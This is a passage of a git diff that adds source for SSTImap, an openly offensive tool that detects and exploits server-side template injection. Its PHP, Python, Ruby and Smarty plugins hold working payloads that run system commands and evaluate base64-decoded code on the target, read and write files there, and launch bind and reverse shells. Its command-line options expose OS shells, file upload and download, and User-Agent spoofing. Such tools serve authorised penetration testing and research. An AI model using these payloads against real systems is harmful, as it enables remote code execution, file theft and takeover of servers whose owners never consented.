{} + {'level': 2, 'prefix': '{closure}', 'suffix': '//', 'closures': ctx_closures}, + # Comment blocks + {'level': 5, 'prefix': '*/', 'suffix': '/*'}, + ]) + + language = 'javascript' + + +ctx_closures = { + 1: [ + closures.close_single_double_quotes + closures.integer, + closures.close_function + closures.empty + ], + 2: [ + closures.close_single_double_quotes + closures.integer + closures.string + closures.var, + closures.close_function + closures.empty + ], + 3: [ + closures.close_single_double_quotes + closures.integer + closures.string + closures.var, + closures.close_function + closures.close_list + closures.close_dict + closures.empty + ], + 4: [ + closures.close_single_double_quotes + closures.integer + closures.string + closures.var, + closures.close_function + closures.close_list + closures.close_dict + closures.empty + ], + 5: [ + closures.close_single_double_quotes + closures.integer + closures.string + closures.var, + closures.close_function + closures.close_list + closures.close_dict + closures.empty, + closures.close_function + closures.close_list + closures.empty, + ], +} + diff --git a/plugins/languages/php.py b/plugins/languages/php.py new file mode 100644 index 0000000..960df0d --- /dev/null +++ b/plugins/languages/php.py @@ -0,0 +1,102 @@ +from plugins.languages import bash +from core.plugin import Plugin +from utils import closures +from utils import rand + + +class Php(Plugin): + def language_init(self): + self.update_actions({ + 'render': { + 'call': 'inject', + 'render': """{code}""", + 'header': """print_r('{header}');""", + 'trailer': """print_r('{trailer}');""", + 'test_render': f'print({rand.randints[0]});', + 'test_render_expected': f'{rand.randints[0]}' + }, + 'write': { + 'call': 'evaluate', + 'write': """$d="{chunk_b64}"; file_put_contents("{path}", base64_decode(str_pad(strtr($d, '-_', '+/'), strlen($d)%4,'=',STR_PAD_RIGHT)),FILE_APPEND);""", + 'truncate': """file_put_contents("{path}", "");""" + }, + 'read': { + 'call': 'evaluate', + 'read': """print(base64_encode(file_get_contents("{path}")));""" + }, + 'md5': { + 'call': 'evaluate', + 'md5': """is_file("{path}") && print(md5_file("{path}"));""" + }, + 'evaluate': { + 'call': 'render', + 'evaluate': """{code}""", + 'test_os': 'echo PHP_OS;', + 'test_os_expected': r'^[\w-]+$' + }, + 'execute': { + 'call': 'evaluate', + 'execute': """$d="{code_b64}";system(base64_decode(str_pad(strtr($d,'-_','+/'),strlen($d)%4,'=',STR_PAD_RIGHT)));""", + 'test_cmd': bash.os_print.format(s1=rand.randstrings[2]), + 'test_cmd_expected': rand.randstrings[2] + }, + 'blind': { + 'call': 'evaluate_blind', + 'test_bool_true': """True""", + 'test_bool_false': """False""" + }, + 'evaluate_blind': { + 'call': 'inject', + 'evaluate_blind': """$d="{code_b64}";eval("return (" . base64_decode(str_pad(strtr($d, '-_', '+/'), strlen($d)%4,'=',STR_PAD_RIGHT)) . ") && sleep({delay});");""" + }, + 'execute_blind': { + 'call': 'inject', + 'execute_blind': """$d="{code_b64}";system(base64_decode(str_pad(strtr($d, '-_', '+/'), strlen($d)%4,'=',STR_PAD_RIGHT)). " && sleep {delay}");""" + }, + 'bind_shell': { + 'call': 'execute_blind', + 'bind_shell': bash.bind_shell + }, + 'reverse_shell': { + 'call': 'execute_blind', + 'reverse_shell': bash.reverse_shell + }, + }) + + self.set_contexts([ + # Text context, no closures + {'level': 0}, + # This terminates the statement with ; + {'level': 1, 'prefix': '{closure};', 'suffix': '//', 'closures': ctx_closures}, + # This does not need termination e.g. if(%s) {} + {'level': 2, 'prefix': '{closure}', 'suffix': '//', 'closures': ctx_closures}, + # Comment blocks + {'level': 5, 'prefix': '*/', 'suffix': '/*'}, + ]) + + language = 'php' + + +ctx_closures = { + 1: [ + closures.close_single_double_quotes + closures.integer, + closures.close_function + closures.empty + ], + 2: [ + closures.close_single_double_quotes + closures.integer + closures.string + closures.var, + closures.close_function + closures.empty + ], + 3: [ + closures.close_single_double_quotes + closures.integer + closures.string + closures.var, + closures.close_function + closures.close_list + closures.close_dict + closures.empty + ], + 4: [ + closures.close_single_double_quotes + closures.integer + closures.string + closures.var, + closures.close_function + closures.close_list + closures.close_dict + closures.empty + ], + 5: [ + closures.close_single_double_quotes + closures.integer + closures.string + closures.var, + closures.close_function + closures.close_list + closures.close_dict + closures.empty, + closures.close_function + closures.close_list + closures.empty, + ] +} diff --git a/plugins/languages/python.py b/plugins/languages/python.py new file mode 100644 index 0000000..bd70eb7 --- /dev/null +++ b/plugins/languages/python.py @@ -0,0 +1,100 @@ +from core.plugin import Plugin +from utils import closures +from plugins.languages import bash +from utils import rand + + +class Python(Plugin): + def language_init(self): + self.update_actions({ + 'render': { + 'render': """str({code})""", + 'header': """'{header}'+""", + 'trailer': """+'{trailer}'""", + 'test_render': f"""'{rand.randstrings[0]}'.join('{rand.randstrings[1]}')""", + 'test_render_expected': f'{rand.randstrings[0].join(rand.randstrings[1])}' + }, + 'write': { + 'call': 'evaluate', + 'write': """open("{path}", 'ab+').write(__import__("base64").urlsafe_b64decode('{chunk_b64}'))""", + 'truncate': """open("{path}", 'w').close()""" + }, + 'read': { + 'call': 'evaluate', + 'read': """__import__("base64").b64encode(open("{path}", "rb").read())""" + }, + 'md5': { + 'call': 'evaluate', + 'md5': """__import__("hashlib").md5(open("{path}", 'rb').read()).hexdigest()""" + }, + 'evaluate': { + 'call': 'render', + 'evaluate': """{code}""", + 'test_os': """'-'.join([__import__('os').name, __import__('sys').platform])""", + 'test_os_expected': r'^[\w-]+$' + }, + 'execute': { + 'call': 'evaluate', + 'execute': """__import__('os').popen(__import__('base64').urlsafe_b64decode('{code_b64}').decode()).read()""", + 'test_cmd': bash.os_print.format(s1=rand.randstrings[2]), + 'test_cmd_expected': rand.randstrings[2] + }, + 'blind': { + 'call': 'evaluate_blind', + 'test_bool_true': """'a'.join('ab') == 'aab'""", + 'test_bool_false': 'True == False' + }, + 'evaluate_blind': { + 'call': 'evaluate', + 'evaluate_blind': """eval(__import__('base64').urlsafe_b64decode('{code_b64}').decode()) and __import__('time').sleep({delay})""" + }, + 'bind_shell': { + 'call': 'execute_blind', + 'bind_shell': bash.bind_shell + }, + 'reverse_shell': { + 'call': 'execute_blind', + 'reverse_shell': bash.reverse_shell + }, + 'execute_blind': { + 'call': 'evaluate', + 'execute_blind': """__import__('os').popen(__import__('base64').urlsafe_b64decode('{code_b64}').decode() + ' && sleep {delay}').read()""" + }, + }) + + self.set_contexts([ + # Text context, no closures + {'level': 0}, + # Code context escape with eval() injection is not easy, since eval is used to evaluate a single + # dynamically generated Python expression e.g. eval("""1;print 1"""); would fail. + # TODO: the plugin should support the exec() injections, which can be assisted by code context escape + ]) + + language = 'python' + + +ctx_closures = { + 1: [ + closures.close_single_double_quotes + closures.integer, + closures.close_function + closures.empty + ], + 2: [ + closures.close_single_double_quotes + closures.integer + closures.string, + closures.close_function + closures.empty + ], + 3: [ + closures.close_single_double_quotes + closures.integer + closures.string + closures.close_triple_quotes, + closures.close_function + closures.close_list + closures.close_dict + closures.empty + ], + 4: [ + closures.close_single_double_quotes + closures.integer + closures.string + closures.close_triple_quotes, + closures.close_function + closures.close_list + closures.close_dict + closures.empty + ], + 5: [ + closures.close_single_double_quotes + closures.integer + closures.string + closures.close_triple_quotes, + closures.close_function + closures.close_list + closures.close_dict + closures.empty, + closures.close_function + closures.close_list + closures.empty, + closures.if_loops + closures.empty + ], +} + diff --git a/plugins/languages/ruby.py b/plugins/languages/ruby.py new file mode 100644 index 0000000..186c15c --- /dev/null +++ b/plugins/languages/ruby.py @@ -0,0 +1,69 @@ +from core.plugin import Plugin +from plugins.languages import bash +from utils import rand + + +class Ruby(Plugin): + def language_init(self): + self.update_actions({ + 'render': { + 'render': '"#{{{code}}}"', + 'header': """'{header}'+""", + 'trailer': """+'{trailer}'""", + 'test_render': f"""{rand.randints[0]}*{rand.randints[1]}""", + 'test_render_expected': f'{rand.randints[0]*rand.randints[1]}' + }, + 'write': { + 'call': 'inject', + 'write': """require'base64';File.open('{path}', 'ab+') {{|f| f.write(Base64.urlsafe_decode64('{chunk_b64}')) }}""", + 'truncate': """File.truncate('{path}', 0)""" + }, + 'read': { + 'call': 'evaluate', + 'read': """(require'base64';Base64.encode64(File.binread("{path}"))).to_s""", + }, + 'md5': { + 'call': 'evaluate', + 'md5': """(require'digest';Digest::MD5.file("{path}")).to_s""" + }, + 'evaluate': { + 'call': 'render', + 'evaluate': """{code}""", + 'test_os': """RUBY_PLATFORM""", + 'test_os_expected': r'^[\w._-]+$' + }, + 'execute': { + 'call': 'evaluate', + 'execute': """(require'base64';%x(#{{Base64.urlsafe_decode64('{code_b64}')}})).to_s""", + 'test_cmd': bash.os_print.format(s1=rand.randstrings[2]), + 'test_cmd_expected': rand.randstrings[2] + }, + 'blind': { + 'call': 'evaluate_blind', + 'test_bool_true': """1.to_s=='1'""", + 'test_bool_false': """1.to_s=='2'""" + }, + 'evaluate_blind': { + 'call': 'inject', + 'evaluate_blind': """require'base64';eval(Base64.urlsafe_decode64('{code_b64}'))&&sleep({delay})""" + }, + 'bind_shell': { + 'call': 'execute_blind', + 'bind_shell': bash.bind_shell + }, + 'reverse_shell': { + 'call': 'execute_blind', + 'reverse_shell': bash.reverse_shell + }, + 'execute_blind': { + 'call': 'inject', + 'execute_blind': """require'base64';%x(#{{Base64.urlsafe_decode64('{code_b64}')+' && sleep {delay}'}})""" + }, + }) + + self.set_contexts([ + # Text context, no closures + {'level': 0}, + ]) + + language = 'ruby' diff --git a/plugins/legacy_engines/__init__.py b/plugins/legacy_engines/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/plugins/legacy_engines/smarty_unsecure.py b/plugins/legacy_engines/smarty_unsecure.py new file mode 100644 index 0000000..ba1a69c --- /dev/null +++ b/plugins/legacy_engines/smarty_unsecure.py @@ -0,0 +1,42 @@ +from plugins.languages import php +from utils import rand + + +class Smarty_unsecure(php.Php): + def init(self): + self.update_actions({ + 'render': { + 'render': '{code}', + 'header': '{{{header}}}', + 'trailer': '{{{trailer}}}', + # {php}{/php} added to check for this tag for exploitation, otherwise test regular Smarty payload based on {if}{/if} tag + 'test_render': f"""{{{rand.randints[0]}}}{{php}}{{/php}}{{*{rand.randints[1]}*}}{{{rand.randints[2]}}}""", + 'test_render_expected': f'{rand.randints[0]}{rand.randints[2]}' + }, + 'evaluate': { + 'call': 'render', + 'evaluate': """{{php}}{code}{{/php}}""" + }, + 'evaluate_blind': { + 'call': 'inject', + 'evaluate_blind': """{{php}}$d="{code_b64}";eval("return (" . base64_decode(str_pad(strtr($d, '-_', '+/'), strlen($d)%4,'=',STR_PAD_RIGHT)) . ") && sleep({delay});");{{/php}}""" + }, + 'execute_blind': { + 'call': 'inject', + 'execute_blind': """{{php}}$d="{code_b64}";system(base64_decode(str_pad(strtr($d, '-_', '+/'), strlen($d)%4,'=',STR_PAD_RIGHT)). " && sleep {delay}");{{/php}}""" + }, + }) + + + self.set_contexts([ + # Text context, no closures + {'level': 0}, + {'level': 1, 'prefix': '{closure}}}', 'suffix': '{', 'closures': php.ctx_closures}, + # {config_load file="missing_file"} raises an exception + # Escape Ifs + {'level': 5, 'prefix': '{closure}}}{{/if}}{{if 1}}', 'suffix': '', 'closures': php.ctx_closures}, + # Escape {assign var="%s" value="%s"} + {'level': 5, 'prefix': '{closure} var="" value=""}}{{assign var="" value=""}}', 'suffix': '', 'closures': php.ctx_closures}, + # Comments + {'level': 5, 'prefix': '*}}', 'suffix': '{*'}, + ]) diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..91be2db --- /dev/null +++ b/requirements.txt @@ -0,0 +1,3 @@ +argparse==1.4.0 +requests==2.27.1 +urllib3==1.26.9 \ No newline at end of file diff --git a/sstimap.py b/sstimap.py new file mode 100644 index 0000000..f352ca8 --- /dev/null +++ b/sstimap.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python3 +import sys +from utils import cliparser +from core import checks +from core.channel import Channel +from core.interactive import InteractiveShell +from utils.loggers import log +import traceback + +version = '1.0.0' + + +def main(): + args = vars(cliparser.options) + args['version'] = version + if not (args['url'] or args['interactive']): + # no target specified + log.log(22, 'SSTImap requires target url (-u, --url) or interactive mode (-i, --interactive)') + elif args['interactive']: + # interactive mode + log.log(23, 'Starting SSTImap in interactive mode. Type \'help\' to see the details.') + InteractiveShell(args).cmdloop() + else: + # predetermined mode + checks.check_template_injection(Channel(args)) + + +if __name__ == '__main__': + print(cliparser.banner()) + if sys.version_info.major != 3: + log.critical(f'SSTImap was created for Python3. Python{sys.version_info.major} is not supported!') + sys.exit() + try: + main() + except (KeyboardInterrupt, EOFError): + print() + log.log(22, 'Exiting') + except Exception as e: + log.critical('Error: {}'.format(e)) + log.debug(traceback.format_exc()) + raise e diff --git a/utils/__init__.py b/utils/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/utils/cliparser.py b/utils/cliparser.py new file mode 100644 index 0000000..9e4a3db --- /dev/null +++ b/utils/cliparser.py @@ -0,0 +1,100 @@ +import argparse +from sstimap import version + + +def banner(): + msg = """\033[93m + ╔══════╦══════╦═══════╗ ▀█▀ + ║ ╔════╣ ╔════╩══╗ ╔══╝═╗\033[41m▀\033[40m╔═ + ║ ╚════╣ ╚════╗ ║ ║ ║\033[41m{\033[40m║ \033[94m _ __ ___ __ _ _ __\033[93m + ╚════╗ ╠════╗ ║ ║ ║ ║\033[41m*\033[40m║ \033[94m| '_ ` _ \\ / _` | '_ \\\033[93m + ╔════╝ ╠════╝ ║ ║ ║ ║\033[41m}\033[40m║ \033[94m| | | | | | (_| | |_) |\033[93m + ╚══════╩══════╝ ╚═╝ ╚╦╝\033[94m |_| |_| |_|\\__,_| .__/\033[93m + │ \033[94m| | + |_|\033[0m""" + msg += f"\n\033[94m[*]\033[0m Version: {version}" \ + f"\n\033[94m[*]\033[0m Author: \033]8;;https://t.me/vladko312\007@vladko312\033]8;;\007" \ + f"\n\033[34m[*]\033[0m Based on \033]8;;https://github.com/epinna/tplmap\007Tplmap\033]8;;\007" \ + f"\n\033[91m[!] LEGAL DISCLAIMER\033[0m: Usage of SSTImap for attacking targets without prior mutual " \ + f"consent is illegal.\nIt is the end user's responsibility to obey all applicable local, state and " \ + f"federal laws.\nDevelopers assume no liability and are not responsible for any misuse or damage " \ + f"caused by this program\n\n" + return msg + + +parser = argparse.ArgumentParser(description='SSTImap is an automatic SSTI detection and exploitation tool ' + 'with predetermined and interactive modes.') +parser.add_argument('-v', '--version', action='version', version=f'SSTImap version {version}') + + +target = parser.add_argument_group(title="target", + description="At least one of these options has to be provided to define target(s)") +target.add_argument("-u", "--url", dest="url", + help="Target URL (e.g. 'https://example.com/?name=test')") +target.add_argument("-i", "--interactive", action="store_true", dest="interactive", + help="Run SSTImap in interactive mode") + + +request = parser.add_argument_group(title="request", description="These options can specify how to connect to the " + "target URL and add possible attack vectors") +request.add_argument("-M", "--marker", dest="marker", + help="Use string as injection marker (default '*')", default='*') +request.add_argument("-d", "--data", action="append", dest="data", + help="POST data param to send (e.g. 'param=value') [Stackable]", default=[]) +request.add_argument("-H", "--header", action="append", dest="headers", metavar="HEADER", + help="Header to send (e.g. 'Header: Value') [Stackable]", default=[]) +request.add_argument("-c", "--cookie", action="append", dest="cookies", metavar="COOKIE", + help="Cookie to send (e.g. 'Field=Value') [Stackable]", default=[]) +request.add_argument("-m", "--method", dest="method", + help="HTTP method to use (default 'GET')", default='GET') +request.add_argument("-a", "--user-agent", dest="user_agent", + help="User-Agent header value to use", default=f'SSTImap/{version}') +request.add_argument("-A", "--random-user-agent", action="store_true", dest="random_agent", + help="Random User-Agent header value from a list of desktop browsers on every attempt") +request.add_argument("-p", "--proxy", dest="proxy", + help="Use a proxy to connect to the target URL") +request.add_argument("-V", "--verify-ssl", action="store_true", dest="verify_ssl", + help="Verify SSL certificates (not verified by default)") + + +detection = parser.add_argument_group(title="detection", + description="These options can be used to customize the detection phase.") +detection.add_argument("-l", "--level", dest="level", type=int, default=1, + help="Level of escaping to perform (1-5, Default: 1)") +detection.add_argument("-L", "--force-level", dest="force_level", metavar=("LEVEL", "CLEVEL",), + help="Force a LEVEL and CLEVEL to test", nargs=2) +detection.add_argument("-e", "--engine", dest="engine", + help="Check only this backend template engine") +detection.add_argument("-r", "--technique", dest="technique", + help="Techniques R(endered) T(ime-based blind). Default: RT", default="RT") +detection.add_argument("-P", "--legacy", "--legacy-payloads", dest="legacy", action="store_true", + help="Include old payloads, that no longer work with newer versions of the engines") + + +payload = parser.add_argument_group(title="payload", + description="These options can be used to get access to the template engine, " + "filesystem or OS shell after an attack.") +payload.add_argument("-t", "--tpl-shell", dest="tpl_shell", action="store_true", + help="Prompt for an interactive shell on the template engine") +payload.add_argument("-T", "--tpl-code", dest="tpl_code", + help="Inject code in the template engine") +payload.add_argument("-x", "--eval-shell", dest="eval_shell", action="store_true", + help="Prompt for an interactive shell on the template engine base language") +payload.add_argument("-X", "--eval-code", dest="eval_code", + help="Evaluate code in the template engine base language") +payload.add_argument("-s", "--os-shell", dest="os_shell", action="store_true", + help="Prompt for an interactive operating system shell") +payload.add_argument("-S", "--os-cmd", dest="os_cmd", + help="Execute an operating system command") +payload.add_argument("-B", "--bind-shell", dest="bind_shell", nargs=1, type=int, metavar="PORT", + help="Spawn a system shell on a TCP PORT of the target and connect to it") +payload.add_argument("-R", "--reverse-shell", dest="reverse_shell", nargs=2, metavar=("HOST", "PORT",), + help="Run a system shell and back-connect to local HOST PORT") +payload.add_argument("-F", "--force-overwrite", dest="force_overwrite", action="store_true", + help="Force file overwrite when uploading") +payload.add_argument("-U", "--upload", dest="upload", metavar=("LOCAL", "REMOTE",), + help="Upload LOCAL to REMOTE files", nargs=2) +payload.add_argument("-D", "--download", dest="download", metavar=("REMOTE", "LOCAL",), + help="Download REMOTE to LOCAL files", nargs=2) + +options = parser.parse_args() diff --git a/utils/closures.py b/utils/closures.py new file mode 100644 index 0000000..c85d37b --- /dev/null +++ b/utils/closures.py @@ -0,0 +1,19 @@ +# Shared closures +close_single_double_quotes = ['1\'', '1"'] +integer = ['1'] +string = ['"1"'] +close_dict = ['}', ':1}'] +close_function = [')'] +close_list = [']'] +empty = [''] + +# Python triple quotes and if and for loop termination. +close_triple_quotes = ['1"""', "1'''"] +if_loops = [':'] + +# Javascript needs this to bypass assignations +var = ['a'] + +# Java needs booleans to bypass conditions and iterable objects +true_var = ['true'] +iterable_var = ['[1]'] diff --git a/utils/config.py b/utils/config.py new file mode 100644 index 0000000..1a3c176 --- /dev/null +++ b/utils/config.py @@ -0,0 +1,22 @@ +import os +import json + +config = {} + +config_folder = os.path.dirname(os.path.realpath(__file__)) + +# TODO: fix this +with open(config_folder + "/../config.json", 'r') as stream: + try: + config = json.load(stream) + except json.JSONDecodeError as e: + print(f'[!][config] {e}') + +base_path = os.path.expanduser(config.get("base_path", "~/.sstimap/")) +log_response = config.get("log_response", False) +time_based_blind_delay = config.get("time_based_blind_delay", 4) + +if not os.path.isdir(base_path): + os.makedirs(base_path) + + diff --git a/utils/loggers.py b/utils/loggers.py new file mode 100644 index 0000000..6ccc11e --- /dev/null +++ b/utils/loggers.py @@ -0,0 +1,65 @@ +import logging.handlers +import logging +import sys +import utils.config +import os + +log = None +logfile = None +logging.addLevelName(21, "SUCCESS") +logging.addLevelName(22, "FAIL") +logging.addLevelName(23, "MAJOR") +logging.addLevelName(24, "POSITIVE") +logging.addLevelName(25, "NEGATIVE") +logging.addLevelName(26, "MINOR") + + +class SSTImapFormatter(logging.Formatter): + style = '{' + FORMATS = { + logging.DEBUG: "\033[94m[D]\033[0m [\033[4m{module}\033[0m] {message}", + logging.INFO: "\033[94m[!]\033[0m {message}", + logging.WARNING: "\033[93m[*]\033[0m [\033[4m{module}\033[0m] {message}", + 21: "\033[92m[+]\033[0m {message}", + 22: "\033[91m[-]\033[0m {message}", + 23: "\033[94m[*]\033[0m {message}", + 24: "\033[32m[+]\033[0m {message}", + 25: "\033[31m[-]\033[0m {message}", + 26: "\033[34m[*]\033[0m {message}", + logging.ERROR: "\033[91m[-]\033 [0m[\033[4m{module}\033[0m] {message}", + logging.CRITICAL: "\033[91m[!]\033[0m [\033[4m{module}\033[0m] {message}", + 'DEFAULT': "\033[91m[{levelname}]\033[0m {message}" + } + + def __init__(self): + super().__init__(style='{') + + def format(self, record): + super().__init__(self.FORMATS.get(record.levelno, self.FORMATS['DEFAULT']), style='{') + return logging.Formatter.format(self, record) + + +if not os.path.isdir(utils.config.base_path): + os.makedirs(utils.config.base_path) + +"""Initialize the handler to dump log to files""" +log_path = os.path.join(utils.config.base_path, 'sstimap.log') +file_handler = logging.handlers.RotatingFileHandler(log_path, mode='a', maxBytes=5*1024*1024, + backupCount=2, encoding=None, delay=False) +file_handler.setFormatter(SSTImapFormatter()) + +stream_handler = logging.StreamHandler(stream=sys.stdout) +stream_handler.setFormatter(SSTImapFormatter()) + +log = logging.getLogger('log') +log.propagate = False +log.addHandler(file_handler) +log.addHandler(stream_handler) +log.setLevel(logging.DEBUG) +file_handler.setLevel(logging.INFO) +stream_handler.setLevel(logging.INFO) + +dlog = logging.getLogger('dlog') +dlog.propagate = False +dlog.addHandler(file_handler) +dlog.setLevel(logging.INFO) diff --git a/utils/rand.py b/utils/rand.py new file mode 100644 index 0000000..71b22f1 --- /dev/null +++ b/utils/rand.py @@ -0,0 +1,30 @@ +import random +import string + + +def randint_n(n): + # If the length is 1, starts from 2 to avoid + # number repetition on evaluation e.g. 1*8=8 + # creating false positives + if n == 1: + range_start = 2 + else: + range_start = 10**(n-1) + range_end = (10**n)-1 + return random.randint(range_start, range_end) + + +letters = string.ascii_letters + + +def randstr_n(n, chars=letters + string.digits): + return ''.join(random.choice(chars) for _ in range(n)) + + +# Generate static random integers +# to help filling actions['render'] +randints = [randint_n(2) for _ in range(3)] + +# Generate static random integers +# to help filling actions['render'] +randstrings = [randstr_n(2) for _ in range(3)] diff --git a/utils/random_agent.py b/utils/random_agent.py new file mode 100644 index 0000000..d401dad --- /dev/null +++ b/utils/random_agent.py @@ -0,0 +1,18 @@ +import random + +user_agents = [ # Default User_Agent values of different desktop browsers + "Mozilla/5.0 (MSIE 10.0; Windows NT 6.1; Trident/5.0)", + "Mozilla/5.0 (MSIE 9.0; Windows NT 6.1; Trident/5.0)", + "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)", + "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1)", + "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1)", + "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20120101 Firefox/33.0", + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0", + "Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14", + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A", + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" +] + + +def get_agent(): + return random.choice(user_agents) diff --git a/utils/strings.py b/utils/strings.py new file mode 100644 index 0000000..70ac399 --- /dev/null +++ b/utils/strings.py @@ -0,0 +1,25 @@ +import base64 +import hashlib + + +def quote(command): + return command.replace("\\", "\\\\").replace("\"", "\\\"") + + +def base64encode(data): + return base64.b64encode(data) + + +def base64decode(data): + return base64.b64decode(data) + + +def chunk_seq(seq, n): + """A generator to divide a sequence into chunks of n units.""" + while seq: + yield seq[:n] + seq = seq[n:] + + +def md5(data): + return hashlib.md5(data).hexdigest()